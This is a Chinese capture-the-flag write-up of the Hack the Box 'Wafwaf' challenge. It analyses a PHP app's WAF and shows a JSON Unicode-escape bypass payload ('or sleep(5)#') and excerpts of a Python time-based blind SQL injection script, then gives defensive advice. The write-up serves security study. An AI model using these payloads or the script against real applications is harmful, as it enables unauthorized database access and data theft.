Hack the Box——Wafwaf(代码审计) wp
字数 1090 2025-08-15 21:33:32
Wafwaf 代码审计与SQL注入绕过技术分析
0x00 题目概述
题目描述:Jason同学开发了一个"超级安全"的笔记应用,要求进行安全审计。
访问地址:http://159.65.87.50:31703/
0x01 代码分析
关键代码流程
- 通过
php://input获取原始输入数据 - 使用
waf()函数进行输入验证 - 使用
json_decode()解码JSON数据 - 执行SQL查询语句
关键函数分析
- error_reporting(0):关闭错误报告,增加调试难度
- preg_match_all:执行全局正则表达式匹配
- preg_quote():对正则表达式特殊字符进行转义
- json_decode:对JSON格式字符串进行解码
- file_get_contents('php://input'):获取POST原始数据
0x02 漏洞点分析
1. WAF过滤不完整
虽然应用使用了WAF过滤,但存在以下问题:
- SQL关键字过滤不完整
- 正则表达式可能存在绕过可能
2. 输入处理链
php://input → waf() → json_decode() → SQL查询
每个环节都可能存在漏洞:
php://input处理原始数据json_decode的Unicode解码特性- SQL查询拼接方式
0x03 漏洞利用技术
Unicode编码绕过技术
利用JSON的Unicode转义特性绕过WAF过滤:
<?php
$json = '{"user":"\u0027\u006f\u0072\u0020\u0073\u006c\u0065\u0065\u0070\u0028\u0035\u0029\u0023"}';
$result = json_decode($json);
print_r($result);
?>
解码后实际为:'or sleep(5)#
时间盲注技术
由于应用不返回查询结果和错误信息,适合使用时间盲注:
- 构造条件查询,通过响应时间判断条件真假
- 使用
sleep()函数作为时间判断依据
0x04 自动化利用脚本
脚本核心功能
- JSON数据生成:自动将payload转换为Unicode编码
- 时间检测:通过响应时间判断注入结果
- 逐字符爆破:实现数据库信息的逐字符提取
关键代码片段
def json_update(query_, mode):
payload['user'] = query_
Json = dumps(payload).replace("\\", "\\\\")
if mode == '1':
print("[*] Json Data : {}".format(Json))
return Json
def get_request(query, mode, string, Len):
if mode == '1':
first_time = time()
res = post(url, data=json_update(query, '1'), headers=headers)
second_time = time()
# ...响应处理...
elif mode == '2':
# 长度检测逻辑
for i in range(100):
# Unicode编码生成
if i < 10:
unicode_ = "\\u003" + str(i)
elif i >= 10 and i < 20:
unicode_ = "\\u0031\\u003" + str(i)[1]
# ...其他范围处理...
# 发送请求并检测时间
post(url, data=json_update(query.format(unicode_), '0'), headers=headers)
second_time = time()
if second_time - first_time >= 4.9:
print("[*] Sleep : {}".format(second_time - first_time))
break
0x05 防御建议
- 使用参数化查询:避免SQL拼接
- 完善WAF规则:
- 完整覆盖所有SQL关键字
- 考虑Unicode解码后的内容
- 输入验证:
- 在JSON解码后进行二次验证
- 限制输入字符范围
- 错误处理:
- 生产环境保持错误报告关闭
- 但记录错误日志供审计
0x06 总结
本案例展示了:
- 多层防御机制(WAF+编码)的绕过技术
- 基于时间的盲注技术实现
- 自动化漏洞利用脚本开发
- Unicode编码在Web安全中的特殊作用
关键点:理解应用的数据处理流程,找到每个环节的弱点,利用编码特性绕过过滤,最终实现漏洞利用。